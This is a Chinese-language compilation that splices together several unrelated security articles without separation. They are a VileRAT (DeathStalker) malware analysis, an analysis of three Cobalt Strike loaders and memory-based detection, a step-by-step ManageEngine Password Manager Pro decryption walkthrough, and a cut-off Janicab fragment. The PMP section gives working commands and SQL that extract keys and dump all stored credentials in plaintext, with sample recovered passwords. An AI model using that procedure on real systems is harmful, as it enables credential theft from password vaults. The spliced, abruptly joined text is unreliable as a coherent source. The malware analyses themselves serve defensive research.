VileRAT：一個複雜的Python植入物VileRAT是來自DeathStalker的複雜同名攻擊鏈的最後一個已知階段。它是一個經過混淆和打包的Python3RAT，與py2exe捆綁為一個獨立的二進製文件。研究人員在2020年第二季度首次發現它，隨後它也被其他供應商命名為PyVil。 關於VileRAT的介紹嵌入在py2exe捆綁二進製文件中的Python庫(DLL)通常來自官方Python版本。在分析VileRAT示例時，我們注意到它的PythonDLL是Python3.7源代碼的自定義編譯：DLL版本被標記為“heads/3.7-dirty”而不是官方發布的“tags/v3.7.4”，並引用縮短的Git提交ID“0af9bef61a”。這個縮短的提交ID與標準CPython實現的3.7分支的源代碼存儲庫中的一個匹配，該實現的日期為2020年5月23日。考慮到這個提交日期，以及在2020年第二季度首次發現VileRAT，研究人員相信VileRAT是在2020年6月首次部署的。 解包VileRAT當我們第一次遇到VileRAT時，我們注意到所有用於Python3的常用反編譯工(uncompille6、decompyle3和unpyc37等都無法從VileRAT字節碼中正確檢索Python源代碼。 VileRAT的第1階段已在Python字節碼級別進行了混淆，目的是破壞現有的反編譯器。字節碼通過以下方式混淆： 添加多個在執行時沒有任何影響的操作(中立操作)和無用數據； 添加令人困惑的分支和異常處理程序； 在執行期間永遠不會到達的部分中插入無效的字節碼，反編譯器仍然嘗試反編譯，但失敗。 VileRAT的第1階段Python字節碼，原始形式（左）和反混淆形式（右），只需看紅色部分即可 一旦在字節碼級別進行了清理，VileRAT解包的第1階段就可以被正確反編譯為Python代碼： VileRAT嵌入不少於三層的包裝。目的就是使Python腳本(VileRAT)難以從人類角度分析，這也是DeathStalker的獨特做法，考慮到他們也對感染鏈的所有其他步驟進行了相同的嘗試，證明這是慣用做法。 最後的解包步驟最終提取了VileRAT的Python代碼和它在內存中的整個依賴包，所有這些內容導致綁定py2ex的VileRAT樣本的重量大約為12MB。使用第二類算法解包利用解碼和BZIP2解壓縮。最後的VileRAT Python包包含一個conf.pyc模塊，其中包括一個版本號，以及默認的C2域名： VileRAT版本和函數 通過分析並比較了各種VileRAT示例，版本號是從2.4到8。雖然版本號跨度這麼大，但VileRAT的功能沒有太大變化，研究人員分析的最早示例中的一些功能實際上已經被刪除，例如將SSH用作C2通道，或者截圖，後者現在在VileLoader中實現，其餘功能包括： 1.使用現有或下載的二進製文件執行任意遠程命令； 2.建立與遠程服務器的SSH連接，可能利用它們將目標計算機的端口轉發到遠程服務器； 鍵盤記錄； 3.使用計劃任務設置持久性； 4.列出安裝在目標計算機上的安全解決方案； 5.從C2服務器自我更新。 6.VileRAT有五種不同的專有執行模式，可從命令行啟用，所有這些模式都可以通過來自C2的附加命令開關、參數或數據進一步更改： 命令行選項、內部名稱和執行模式說明如下： 1.-a， enc_cmd_dataRUN_CMD_AS_USER_ARG，任意命令執行：“命令”一詞範圍很廣：它可以是一個現有的二進製文件、一個shell命令、一個下載的可執行文件、一個Python包，或者一個內部的VileRAT函數。為了指定“命令”，一個JSON字典作為可選參數傳遞。有些命令將通過再次啟動VileRAT(使用一組不同的命令選項)來執行。執行完成後，VileRAT退出。 2.-l，enc_cmd_data_rssRUN_R_SSH_SHELL_ARG，SSH連接測試：VileRAT啟動自己的一個新進程，它連接到一個遠程SSH服務器(使用一個私鑰)，然後關閉連接。這個SSH連接在以前的示例中用作C2通道，但是在最近的示例中刪除了C2邏輯。為了指定SSH連接設置，將傳遞一個JSON字典作為可選參數。執行完成後，VileRAT退出。 3.-r，enc_cmd_data_rdsRUN_R_DYN_SSH_ARG，SSH隧道本地端口轉發：VileRAT啟動自己的一個新進程，它連接到遠程SSH服務器(使用密碼)。此連接用作將端口從目標計算機轉發到遠程服務器的隧道。為了指定SSH連接設置，JSON字典作為可選參數傳遞。一旦遠程端至少連接到轉發端口一次，VileRAT就會退出，然後關閉連接。 4.-c，cp_exe_path，任意文件刪除：VileRAT嘗試刪除一個文件，其路徑以明文命令參數的形式給出。當文件被刪除或達到最大嘗試次數(10)時，VileRAT將退出。 5.-t，rtsIS_TASK_SCHED_ARG，C2主客戶端模式：這是VileRAT的主要執行模式。它定期在C2服務器上輪詢要執行的命令。可以執行的命令是此表中描述的命令之一（RUN_R_SSH_SHELL_ARG、RUN_CMD_AS_USER_ARG、RUN_R_DYN_SSH_ARG），或其他VileRAT內部更新命令之一。 CMD_UPDATE_SVC從C2下載的包觸發（部分或完整）VileRAT更新，而CMD_UPDATE_CONF可以更新內部延遲並在C2需要時啟用鍵盤記錄器。 正如我們在2022年確定的那樣，在一個典型的VileRAT第一次執行中，植入程序從以下參數開始： 請注意，在這種情況下，作為第一個參數傳遞的目標標識符實際上並未被VileRAT利用，攻擊者可能只是使用它來輕鬆識別稍後運行的VileRAT進程。較舊的VileRAT變體通常使用顯式的“-f”和“-t”命令行開關啟動，這些現在是隱式的並默認啟用。 以下是研究人員發現的VileRAT版本發展過程中一些值得注意的變化，除了定期更新以修復代碼錯誤或處理未捕獲的異常、重構代碼、更新依賴項和更改配置： 1.在2.4和2.7版之間，VileRAT釋放了使用遠程SSH服務器作為C2通道的功能，以及截圖實現； 2.在3.0版中，用於各種加密例程的base64編碼RC4密鑰從“Ixada4bxU3G0AgjcX+s0AYndBs4wiviTVIAwDiiEPPA=”更改為“XMpPrh70/0YsN3aPc4Q4VmopzKMGvhzlG4f6vk4LKkI=”，並在編碼方案中添加了額外的XOR通道（使用第2類算法）。重構了VileRAT遠程更新機制，增加了一個額外的命令開關（稱為pmode）； 3.在3.7版中，研究人員最初確定用於2.4版本的特定Chrome版本和Trezor錢包偵察功能被從代碼中刪除，VileRAT失去了從運行它的文件系統上提供的文件進行更新的能力； 4.在5.4版中，生成UUID類型標識符的方式發生了變化； 5.在6.5版中，添加了一個額外的命令開關（稱為jmode）； 6.在6.6版中，“-f”和“-t”命令選項默認啟用。 VileRATHTTPC2協議VileRAT的主C2通信循環，在主C2客戶端模式下執行，非常簡單，並且在一個單獨的線程中運行： 1.每隔2-5分鐘，VileRAT會嘗試向其配置中存在的每個C2服務器發送HTTPPOST請求，直到有一個響應或列表用盡。環境數據嵌入到一個JSON字典中，使用RC4加密，使用第二類的XOR算法編碼，base64編碼和URL編碼，最後設置為HTTP請求URL路徑； 2.C2服務器可能會響應一個HTTP響應，其正文可以包含一個編碼和加密的JSON數組。如果是這樣，JSON必須至少包含一個要執行的命令。 VileRATC2請求準備函數 就像在VileLoader中一樣，HTTP請求中的User-Agent值是從可能值的固定列表中隨機選擇的。傳遞給C2服務器的JSON可以分解如下： 簡單介紹一下VileRAT的基礎設施 我們尋找了可以從收集的示例（惡意DOCX文件、DOTM文件及其宏、VileDropper、VileLoader或VileRAT）中檢索到的C2域中的特性，這些特性在本報告中有所描述。我們忽略了2021年10月中旬之前註冊的域名，因為其中大部分已經在公共來源中被披露，所有已知的惡意域名和IP都在下面的攻擊指標部分中完整列出。值得注意的是，迄今為止，我們已經確定了數百個與VileRAT攻擊鏈相關的域。 這使我們能夠確定一些可能的VileRAT特定的基礎設施創建偏好： 1.最遲從2021年10月開始，DeathStalker基礎設施IP均屬於AS42159（DELTAHOSTUA，位於NL）。根據研究人員的分析，DeathStalker可能早在2021年6月就開始利用具有來自該AS（以及其他AS）的IP地址的服務器； 2.惡意域名通常在NAMECHEAP、PorkbunLLC或PDRLtd.批量註冊（同一天多個域）； 3.許多惡意域名試圖偽裝成看似合法的數字服務提供商名稱（例如“azcloudazure[.]com”或“amzbooks[.]org”），其中一些表示可能試圖利用全球關注的事件進行攻擊活動（例如“weareukrainepeople[.]com”或“covidsrc[.]com”）； 4.大多數時候域使用似乎是分開的，一個域僅用於攻擊DOCX/DOTM、VileLoader或VileRAT，並且可能表明攻擊者希望將其操作緊密聚集在一起。但是所有這些域通常都指向一組非常有限的IP地址； 5.研究人員通過對惡意活動期間暴露在C2IP上的服務特徵的快速分析，注意到一些常見的簽名：HTTP服務發送的內容和標頭值的組合只能針對此類惡意基礎設施進行檢索。 VileRAT的目標從2021年8月至今，在保加利亞、塞浦路斯、德國、格林納丁斯、科威特、馬耳他、阿拉伯聯合酋長國和俄羅斯聯邦發現了10個受攻擊或目標組織。 DeathStalker的VileRAT活動所針對的組織區域分佈（較深的顏色表示較高的集中度） 研究人員目前還無法對所有已確定的組織進行分析，但其中一半是外匯(FOREX)和加密貨幣交易所經紀人。一些已識別的惡意文檔和基礎架構域包含目標組織的名稱，並確認了這一目標。 值得注意的是，被確認的機構包括近期的初創公司和老牌行業領袖，包括可疑的加密貨幣交易平台。從我們手頭有限的數據來看，確定這樣的組織是極其困難的，因為一個小型FOREX公司可能在不同的國家託管其基礎設施，僱傭幾個來自不同國家的遠程工作人員，並合法地設在避稅天堂。 歸因當研究人員在2020年6月首次發現VileRAT時，一開始將植入物和相關攻擊鏈歸因於DeathStalker。這主要是因為它與先前已知的EVILNUM活動的相似性，比如LNK文件中的常見特定元數據，類似的TTP——尤其是利用GoogleDrive文件和虛假角色的魚叉式網絡釣魚方法，受害者特徵也一樣。 EVILNUM活動和DeathStalker之間的聯繫已經在我們之前的文章中介紹過。 如上述分析所述，研究人員仍然高度相信所描述的更新植入物和相關攻擊鍊是由DeathStalker開發和運營的，原因如下： 1.本次活動所使用的主要植入物(VileLoader和VileRAT)是之前分析過的內容的更新，並且仍然與之前的樣本共享大量代碼和實現細節； 2.上述感染鏈的各個組件(DOCX、啟用宏的DOTM、VileDropper)共享了之前被DeathStalker用作其他活動(尤其是PowerSing和PowerPepper)一部分的實現邏輯和技術； 3.使用受害者從電子郵件中下載的惡意文檔作為攻擊媒介； 4.向遠程服務器發送攻擊進度和錯誤信號； 5.使用類似實現的XOR算法進行字符串混淆，在DOTM宏中，以及以前記錄的PowerPepper加載程序中； 6.利用Office對象屬性作為隱藏數據源； 7.使用具有預設常量的類似哈希函數，在VileDropper中生成目標標識符，在PowerSing中解碼IP地址。 總結1.VileRAT及其加載程序和相關攻擊鏈在兩年多的時間裡不斷且頻繁地更新，並且仍然被用來持續針對外幣和加密貨幣交易經紀人，其目的是逃避檢測。 2.逃避檢測一直是DeathStalker的目標，VileRAT活動足以證明這一切，毫無疑問，它是我們迄今為止發現的最成功的逃避檢測成功的攻擊，使用了最複雜、混淆手段最多和試探性規避的技術。從使用VBA和JS進行最先進的混淆，到使用Python進行多層和基礎層打包，強大的多階段內存中PE加載程序以及安全供應商特定的啟發式繞過，讓分析者無所適從。 3.考慮到龐大且快速變化的相關基礎設施，毫無疑問，DeathStalker正在做出巨大的努力來開發和維護訪問。然而，也有一些小故障和不一致，比如最終負載超過10MB (VileRAT)，簡單的感染載體，大量可疑的通信模式，嘈雜且容易識別的進程執行或文件部署，以及粗略的開發實踐留下的漏洞和需要頻繁的植入更新。因此，一個有效且正確設置的終端保護解決方案仍然能夠檢測和阻止VileRAT的大部分相關惡意活動。

Unit 42研究人員檢查了幾個包含Cobalt Strike組件的惡意軟件樣本，並發現通過分析進程中關鍵執行工件可以捕獲這些樣本。 cobalt strike(簡稱CS)是一款團隊作戰滲透測試神器,分為客戶端及服務端，一個服務端可以對應多個客戶端，一個客戶端可以連接多個服務端。它不僅在紅隊中流行，而且也被用於惡意目的。 儘管該工具包只出售給受信任的組織進行安全測試，但由於源代碼洩露，它的各種組件不可避免地進入了攻擊者的武器庫，從勒索軟件組織到國家支持的攻擊組織。濫用Cobalt Strike的惡意軟件甚至在2020年臭名昭著的SolarWinds供應鏈攻擊事件發揮了作用。 為什麼是Cobalt Strike？ Cobalt Strike之所以被如此廣泛的利用，主要是因為Cobalt Strike集成了端口轉發、掃描多模式端口Listener、Windows exe程序生成、Windows dll動態鏈接庫生成、java程序生成、office宏代碼生成，包括站點複製獲取瀏覽器的相關信息等。由於它的設計是從底層開始的，所以攻擊者會定期使用它引入新的規避技術。 Cobalt Strike的主要優點之一是，一旦初始加載程序被執行，它主要在內存中運行。當有效負載是靜態防護的、僅存在於內存中並且拒絕執行時，這種情況會給檢測帶來問題。這對許多安全軟件產品來說都是一個挑戰，因為掃描內存絕非易事。 在許多情況下，Cobalt Strike是在目標網絡中獲得初始足蹟的自然選擇。攻擊者可以使用具有大量部署和混淆選項的構建器，根據可定制的模板創建最終有效負載。 該有效負載通常以加密或編碼的形式嵌入到文件加載程序中。當受害者執行文件加載程序時，它將有效負載解密/解碼到內存中並運行它。由於有效負載以其原始形式存在於內存中，因此由於某些特定功能，可以很容易地檢測到它。 作為惡意軟件研究人員，我們經常看到潛在的有趣的惡意樣本，結果只是Cobalt Strike的加載程序。通常也不清楚加載程序是由紅隊創建的還是真正的攻擊者創建的，因此使歸因更具挑戰性。 接下來我們將深入研究三種不同的Cobalt Strike加載程序，它們是由我們設計的一個新的基於管理程序的沙箱檢測到的，該沙箱允許我們分析內存中的工件。每個示例加載不同的植入類型，即SMB、HTTPS和stager信標。我們將這些Cobalt Strike裝載程序稱為KoboldLoader, MagnetLoader和LithiumLoader。我們還將討論可以用來檢測這些有效負載的一些方法。 KoboldLoader SMB信標以以下樣本為例 SHA256: 7ccf0bbd0350e7dbe91706279d1a7704fe72dcec74257d4dc35852fcc65ba292 這個64位KoboldLoader可執行文件使用各種已知的技巧來繞過沙盒，並使分析過程更加耗時。 為了繞過隻掛鉤高級用戶模式函數的沙盒，它只調用內置API函數。為了使分析人員的工作更加困難，它通過哈希而不是使用純文本字符串來動態解析函數。惡意軟件包含調用以下函數的代碼： 該惡意軟件創建了兩個單獨的函數哈希/地址對錶。一個表包含所有內置函數的一對，而第二個表只包含Nt*個函數對。 對於所使用的Rtl*函數，它循環遍歷第一個表並蒐索函數哈希以獲得函數地址。對於使用的Nt*函數，它遍歷第二個表並同時增加一個計數器變量。 當找到哈希時，它將獲取計數器值，即相應內置函數的系統調用號，並輸入自定義系統調用存根。這有效地繞過了許多沙盒，即使掛接了較低級別的內置函數而不是高級函數。 加載程序的整體功能相對簡單，並使用映射注入來運行負載。它生成Windows工具sethc.exe的子進程，創建一個新部分，並將解密的Cobalt Strike信標加載程序映射到其中。 Cobalt Strike加載程序的最終執行是通過調用RtlCreateUserThread來加載SMB信標的。 內存中的規避功能通過新的基於管理程序的沙盒，我們能夠在內存中檢測到解密的Cobalt Strike SMB信標。這個信標加載程序甚至使用了一些內存中的規避功能，創建了一種奇怪的嵌合體文件。雖然它實際上是一個DLL，但“MZ”神奇的PE字節和隨後的DOS標頭被一個小的加載程序shellcode覆蓋，如下圖所示。 解密的Cobalt Strike SMB信標shellcode shellcode加載程序跳轉到導出的函數DllCanUnloadNow，該函數在內存中準備SMB信標模塊。為此，它首先加載Windows pla.dll庫，並清空代碼段(.text)中的一大塊字節。然後，它將信標文件寫入該blob並修復導入地址表，從而創建一個可執行內存模塊。 在分析該文件的過程中，我們可以找出所使用的一些內存內規避功能，如下表所示。 內存內規避功能 總之，信標加載程序和信標本身是同一個文件。 PE標頭的部分用於跳轉到導出函數的shellcode，該函數反過來在Windows DLL中創建自己的模塊。最後，shellcode跳轉到信標模塊的入口點，在內存中執行它。 如上所述，我們沒有辦法成功檢測我們的KoboldLoader示例的信標，除非我們可以在執行過程中查看內存內部。 MagnetLoader我們將研究的第二個加載程序是一個模仿合法庫的64位DLL。 SHA256:6c328aa7e903702358de31a388026652e82920109e7d34bb25acdc88f07a5e0 這個MagnetLoader示例試圖在一些方面看起來像Windows文件mscms.dll，通過使用以下類似的功能： 相同的文件描述； 一個具有許多相同函數名的導出表； 幾乎相同的資源； 一個非常相似的互斥鎖； 這些功能也顯示在下圖中，其中惡意軟件文件與有效的mscml.dll進行了對比。 MagnetLoader(左)和mscml.dll(右)的文件描述、導出表和資源的比較 MagnetLoader不僅嘗試靜態地模擬合法的Windows庫，而且在運行時也如此。 MagnetLoader的所有導出函數內部調用相同的主要惡意軟件例程。當調用其中一個時，首先運行DLL入口點。在入口點，惡意軟件加載原始的mscms.dll，並解析它所偽造的所有函數。 這些原始函數的地址在執行偽方法後被存儲和調用。因此，每當調用MagnetLoader的導出函數時，它都會運行主惡意軟件例程，然後調用mscms.dll中的原始函數。 主要的惡意軟件例程相對簡單。它首先創建了一個名為SM0:220:304:WilStaging_02_p1h的互斥體，看起來與mscms.dll創建的原始互斥體非常相似。 Cobalt Strike信標加載程序被解密到內存緩衝區中，並在一個已知的技巧的幫助下執行。加載程序沒有直接調用信標加載程序，而是使用Windows API函數EnumChildWindows來運行它。 該函數包含三個參數，其中一個是回調函數。惡意軟件可能濫用此參數，通過回調函數間接調用地址，從而隱藏執行流程。 LithiumLoader最後一個Cobalt Strike示例是DLL側加載鏈的一部分，其中使用了一種安全軟件的自定義安裝程序。 DLL側加載是一種劫持合法應用程序以運行獨立的惡意DLL的技術。 SHA256: 8129 bd45466c2676b248c08bb0efcd9ccc8b684abf3435e290fcf4739c0a439f 這個32位的LithiumLoader DLL是由攻擊者自定義創建的Fortinet VPN安裝包的一部分，該安裝包以FortiClientVPN_windows.exe (SHA256: a1239c93d43d657056e60f6694a73d9ae0fb304cb6c1b47ee2b38376ec21c786)的形式提交給VirusTotal。 FortiClientVPN_windows.exe文件不是惡意的或被破壞的。由於該文件是簽名的，攻擊者利用它來逃避反病毒檢測。 安裝程序是一個自解壓縮RAR存檔，包含以下文件： FortiClientVPN_windows.exe文件內容 自解壓腳本命令如下： 自解壓腳本命令列表 當安裝程序運行時，所有文件都會被無聲地放到本地%AppData%文件夾中，兩個可執行文件都會啟動。當FortiClient VPN安裝程序執行時，WinGup工具側加載libcurl.dll LithiumLoader惡意軟件。惡意軟件之所以這樣做，是因為它從libcurl庫的合法副本中導入了以下函數，如下圖所示： 導入WinGup.exe的地址表 此威脅還試圖通過PowerShell將%AppData%文件夾路徑添加到Windows防禦器中的排除列表中。 在啟動GUP.exe時，惡意的libcurl.dll文件被加載到進程空間中，因為它靜態地導入上圖所示的函數。雖然所有四個libcurl函數都在運行，但只有curl_easy_cleanup包含在編譯庫的新版本時注入的惡意例程。因此，我們不是在處理合法DLL的打了補丁的版本。這是一種更乾淨的解決方案，不會像在其他惡意軟件中經常看到的那樣，在插入惡意程序後破壞代碼。 這個curl_easy_cleanup函數通常只包含一個子例程(Curl_close)，並且沒有返回值(如其在GitHub上的源代碼所示)。修改後的函數如下圖所示。 修改了libcurl.dll的curl_easy_cleanup導出函數 load_shellcode函數通過XOR和密鑰0xA解密shellcode，如下圖所示。 Shellcode加載程序函數load_shellcode() 這個函數通過EnumSystemGeoID間接運行Cobalt Strike階段shellcode，而不是直接跳轉到它。這個Windows API函數有三個參數，最後一個參數是一個被LithiumLoader濫用的回調函數。 Cobalt Strike stagershellcode是從Metasploit借來的，是反向的HTTP外殼負載，它使用以下API函數： shellcode連接到以下URL，其中包含泰國一所大學的IP地址 LithiumLoader檢測問題在本文發佈時，Cobalt Strike信標的有效負載已不再可用。如果API調用的執行報告中沒有有效負載或任何可操作的信息，沙盒通常很難確定樣本是否惡意。這個示例本身沒有任何可以被歸類為惡意的功能。 通過內存分析尋找Cobalt Strike在這三個例子中都存在一些常見的檢測挑戰。這些示例不能在正常的沙盒環境中執行。但是正如我們所討論的，如果我們在執行期間查看內存內部，就可以使用大量的信息進行檢測，比如函數指針、已解碼的加載程序階段和其他工件。 為了準確地檢測，研究人員發現解決高度規避惡意軟件的一個關鍵功能是，除了使用系統API更好地理解所發生的事情外，還需要在執行樣本時查看內存。 研究人員發現，在惡意軟件檢測中，查看執行關鍵點的內存增量，以提取有意義的信息和工件是很有用的。當我們的系統處理大量的樣本時，要實現大規模的工作有很多挑戰。接下來，我們將詳細介紹目前從內存中收集的一些主要類型的數據，以幫助檢測。儘管我們在本文介紹的是通過內存方法，但我們絕不是說檢測和記錄API調用對檢測沒有用。 自動有效負載提取如上所述，惡意軟件開發者混淆其有效負載越來越普遍。雖然使用可執行打包器可以壓縮和模糊文件來實現這一點並不新鮮，但當它與逃避策略結合使用時就會出現問題，因為沒有對準確檢測有用的靜態或動態數據。 編碼、壓縮、加密或下載額外的執行階段的策略有無限的組合。為這些有效負載製作簽名的能力顯然是分析師能夠從Cobalt Strike等框架中捕獲大量不同惡意軟件組件的重要方式。如果我們能在內存中捕捉到它們，那麼惡意軟件最終決定不執行也無所謂。 下面簡化圖顯示了我們可能在兩個階段中看到的示例，這些階段在初始可執行文件中從未出現過。 可以在打包的惡意軟件可執行文件中看到的典型階段 在圖的左側，我們看到了一個shellcode階段的示例。儘管“shellcode”一詞最初是為利用漏洞在目標系統上彈出外殼而手工製作的程序集而創造的，但該詞已演變為包含任何為惡意目的編寫的自定義程序集。一些惡意軟件階段是沒有可識別的可執行結構的自定義程序集。惡意軟件開發者採用這種方法的常見模式是將所有函數指針動態解析到一個表中，以便於訪問。 在圖的右側，我們看到後期是一個格式良好的可執行文件的示例。一些惡意軟件階段或有效負載是格式良好的可執行文件。這些可以由OS通過系統API加載，或者惡意軟件開發者可能會使用他們自己的PE加載程序，如果他們試圖隱蔽地避免調用任何API來為他們加載。 函數指針數據我們可以從內存中提取的另一組用於檢測的豐富數據是動態解析函數指針，如下圖所示。惡意軟件的開發者很久以前就知道，如果他們顯式地調用他們計劃在導入表中使用的所有WINAPI函數，它就會被用來對付他們。現在的標準做法是隱藏惡意軟件或其任何階段將使用的功能。 Shellcode哈希是另一種常見的隱蔽策略，用於解析函數的指針而不需要它們的字符串。 可能在內存段中看到的動態解析WINAPI指針示例 在Advanced WildFire中，我們已經開始有選擇地搜索和使用在我們的檢測邏輯中解析了哪些WINAPI函數指針的信息。 操作系統結構修改研究人員從分析內存中發現的另一個有用的檢測數據來源是尋找對Windows記賬結構的任何更改（惡意軟件開發者喜歡混淆這些！）。這些結構對於OS維護進程的狀態非常重要，例如加載了哪些庫、加載了可執行映像的位置以及OS稍後可能需要了解的進程的其他各種特徵。考慮到這些字段中的許多都不應該被修改，跟踪惡意軟件樣本何時以及如何操作它們通常很有用。 下圖顯示了示例如何從LDR模塊列表中卸載它加載的模塊。取消查找模塊意味著不再存在該模塊存在的記錄。例如，這樣做之後，Windows中的任務管理器將不再列出它。 此圖僅是研究人員所看到的許多不同的OS結構修改中的一種，但它表明有許多不同類型的OS結構更改對惡意軟件檢測問題有用。 如何將模塊從LDR模塊列表中解關聯的示例 頁面權限最後，檢測數據的另一個有用來源是對頁面權限所做的所有更改的完整日誌。打包惡意軟件的開發者通常需要更改內存權限，以便正確加載和執行進一步的階段。了解哪些內存頁的權限發生了更改，通常可以提供有關代碼加載和執行位置的重要見解，這對檢測非常有用。 總結儘管Cobalt Strike已經存在多年，但檢測它對許多安全軟件提供商來說仍然是一個挑戰。這是因為該工具主要在內存中工作，不太接觸磁盤。 本文介紹了三種新的加載程序，並展示瞭如何使用各種技術檢測它們，這些檢測技術在新的基於管理程序的沙盒中可用。

0x00 前言在上篇文章《Password Manager Pro漏洞调试环境搭建》 介紹了漏洞調試環境的搭建細節，經測試發現數據庫的部分數據做了加密，本文將要介紹數據解密的方法。 0x01 簡介本文將要介紹以下內容： 數據加密的位置 解密方法 開源代碼 實例演示 0x02 數據加密的位置測試環境同《Password Manager Pro漏洞调试环境搭建》 保持一致 數據庫連接的完整命令：'C:\Program Files\ManageEngine\PMP\pgsql\bin\psql' 'host=127.0.0.1 port=2345 dbname=PassTrix user=pmpuser password=Eq5XZiQpHv' 數據庫連接成功，如下圖 常見的數據加密位置有以下三個： (1)Web登錄用戶的口令salt查詢Web登錄用戶名的命令：select * from aaauser; 查詢Web登錄用戶口令的命令：select * from aaapassword; 結果如下圖 password的加密格式為bcrypt(sha512($pass))/bcryptsha512 *，對應Hashcat的Hash-Mode為28400 其中，salt項被加密 (2)數據庫高權限用戶的口令查詢命令：select * from DBCredentialsAudit; 輸出如下： password項被加密 (3)保存的憑據查詢命令：select * from ptrx_passbasedauthen; 結果如下圖 password項被加密 導出憑據相關完整信息的查詢命令： 注： 該命令引用自https://www.shielder.com/blog/2022/09/how-to-decrypt-manage-engine-pmp-passwords-for-fun-and-domain-admin-a-red-teaming-tale/ 0x03 解密方法加解密算法細節位於C:\Program Files\ManageEngine\PMP\lib\AdventNetPassTrix.jar中的com.adventnet.passtrix.ed.PMPEncryptDecryptImpl.class和com.adventnet.passtrix.ed.PMPAPI.class 解密流程如下: (1)計算MasterKey代碼實現位置：C:\Program Files\ManageEngine\PMP\lib\AdventNetPassTrix.jar-com.adventnet.passtrix.ed.PMPAPI.class-GetEnterpriseKey() 如下圖 首先需要獲得enterpriseKey，通過查詢數據庫獲得，查詢命令：select NOTESDESCRIPTION from Ptrx_NotesInfo; 輸出為： 這裡可以得到enterpriseKey為D8z8c/cz3Pyu1xuZVuGaqI0bfGCRweEQsptj2Knjb/U= 解密enterpriseKey的實現代碼： 跟進一步，如下圖 解密的密鑰通過getPmp32BitKey()獲得，對應的代碼實現位置：C:\Program Files\ManageEngine\PMP\lib\AdventNetPassTrix.jar-com.adventnet.passtrix.ed.PMPAPI.class-get32BitPMPConfKey() 代碼實現細節如下圖 這裡需要先讀取文件C:\Program Files\ManageEngine\PMP\conf\manage_key.conf獲得PMPConfKey的保存位置，默認配置下輸出為：C:\Program Files\ManageEngine\PMP\conf\pmp_key.key 查看C:\Program Files\ManageEngine\PMP\conf\pmp_key.key的文件內容： 通過動態調試發現，這裡存在轉義字符的問題，需要去除字符\，文件內容為60XVZJQDEPzrTluVIGDY2y9q4x6uxWZanf2LUF2KBCM\=，對應的PMPConfKey為60XVZJQDEPzrTluVIGDY2y9q4x6uxWZanf2LUF2KBCM= 至此，我們得到以下內容： PMPConfKey為60XVZJQDEPzrTluVIGDY2y9q4x6uxWZanf2LUF2KBCM= enterpriseKey為D8z8c/cz3Pyu1xuZVuGaqI0bfGCRweEQsptj2Knjb/U= 通過解密程序，最終可計算得出MasterKey為u001JO4dpWI(%!^# (2)使用MasterKey解密數據庫中的數據數據庫中的加密數據均是以\x開頭的格式 解密可通過查詢語句完成 解密數據庫高權限用戶口令的命令示例：select decryptschar(password,'u001JO4dpWI(%!^#') from DBCredentialsAudit; 輸出如下圖 這裡直接獲得了明文口令N5tGp!R@oj，測試該口令是否有效的命令：'C:\Program Files\ManageEngine\PMP\pgsql\bin\psql' 'host=127.0.0.1 port=2345 dbname=PassTrix user=postgres password=N5tGp!R@oj' 連接成功，證實口令解密成功，如下圖 解密保存憑據的命令示例：select ptrx_account.RESOURCEID, ptrx_resource.RESOURCENAME, ptrx_resource.DOMAINNAME, ptrx_resource.IPADDRESS, ptrx_resource.RESOURCEURL, ptrx_password.DESCRIPTION, ptrx_account.LOGINNAME, decryptschar(ptrx_passbasedauthen.PASSWORD,'u001JO4dpWI(%!^#') from ptrx_passbasedauthen LEFT JOIN ptrx_password ON ptrx_passbasedauthen.PASSWDID=ptrx_password.PASSWDID LEFT JOIN ptrx_account ON ptrx_passbasedauthen.PASSWDID=ptrx_account.PASSWDID LEFT JOIN ptrx_resource ON ptrx_account.RESOURCEID=ptrx_resource.RESOURCEID; 輸出如下圖 提取出數據為PcQIojSp6/fuzwXOMI1sYJsbCslfuppwO+k= (3)使用PMPConfKey解密得到最終的明文通過解密程序，最終可計算得出明文為iP-6pI24)- 登錄Web管理後台，確認解密的明文是否正確，如圖 解密成功 0x03 開源代碼以上測試的完整實現代碼如下： 代碼修正了https://www.shielder.com/blog/2022/09/how-to-decrypt-manage-engine-pmp-passwords-for-fun-and-domain-admin-a-red-teaming-tale/中在解密MasterKey時的Bug，更具通用性 0x04 小結本文介紹了Password Manager Pro數據解密的完整方法，修正了https://www.shielder.com/blog/2022/09/how-to-decrypt-manage-engine-pmp-passwords-for-fun-and-domain-admin-a-red-teaming-tale/中在解密MasterKey時的Bug，更具通用性。

Janicab於2013年作為能夠在macOS和Windows操作系統上運行的惡意軟件首次出現。 Windows版本將基於VBscript的植入作為最後階段，而不是之前在Powersing示例中觀察到的C#/PowerShell組合。到目前為止，我們確定的基於VBS的植入程序樣本具有一家族版本號，這意味著它仍在開發中。總的來說，Janicob顯示了與其對應的惡意軟件家族相同的功能，但不像EVILNUM和Powersing攻擊那樣在攻擊生命週期的後期下載多個工具，分析的樣本將大部分工具嵌入並混淆在滴管中。 有趣的是，攻擊者繼續使用YouTube、Google+和WordPress web服務作為DDR。然而，觀察到的一些YouTube鏈接未列出，可以追溯到2015年，這表明可能會重複使用基礎設施。 初始攻擊點在ZIP文件中使用基於LNK的滴管的初始感染方法與以前使用EVILNUM、Powersing和PowerPepper的活動類似，但每個活動似乎都側重於不同的釣魚主題，好像每個惡意軟件家族都由不同的團隊操作或針對不同類型的受害者。在Janicab的一個例子中，誘餌是一個工業企業概況，與先前PowerPepper攻擊中使用的誘餌主題相匹配。根據我們的分析，傳送機制仍然是魚叉式網絡釣魚。 LNK文件中的誘餌文件 LNK滴管的元數據類似於我們報導或公開分析的許多Powersing和Janicab植入程序。也就是說，SID、字體家族、字體大小、屏幕緩衝區和窗口大小、運行窗口和MAC地址是相似的。 儘管Janicab和Powersing在執行流程以及VBE和VBS的使用方面非常相似，但它們的LNK結構有些不同。此外，較新的Janicab變體在結構上與2015年的舊Janicab Windows變體相比發生了顯著變化。新的Janica變體還嵌入了一個CAB文件，其中包含一些Python文件和其他在攻擊生命週期後期使用的工件。以下是Powersing與新舊Janicab車型之間的高級比較。 LNK文件結構比較 執行流程一旦受害者被誘騙打開惡意LNK文件，鏈接中的惡意軟件文件就會被釋放。 LNK文件有一個嵌入的“命令行參數”字段，用於提取和執行編碼的VBScript加載器（1.VBE）。後者將釋放並執行另一個嵌入和編碼的VBScript（2.VBE），該VBScript將提取包含額外資源和Python庫/工具的CAB文件（CAB.CAB），並通過提取最後一個階段（基於VBScript的植入程序，稱為Janicab）來結束感染。最後階段將通過在Startup目錄中部署一個新的LNK文件來啟動持久性，並開始與DDR web服務通信，以收集實際的C2 IP地址。 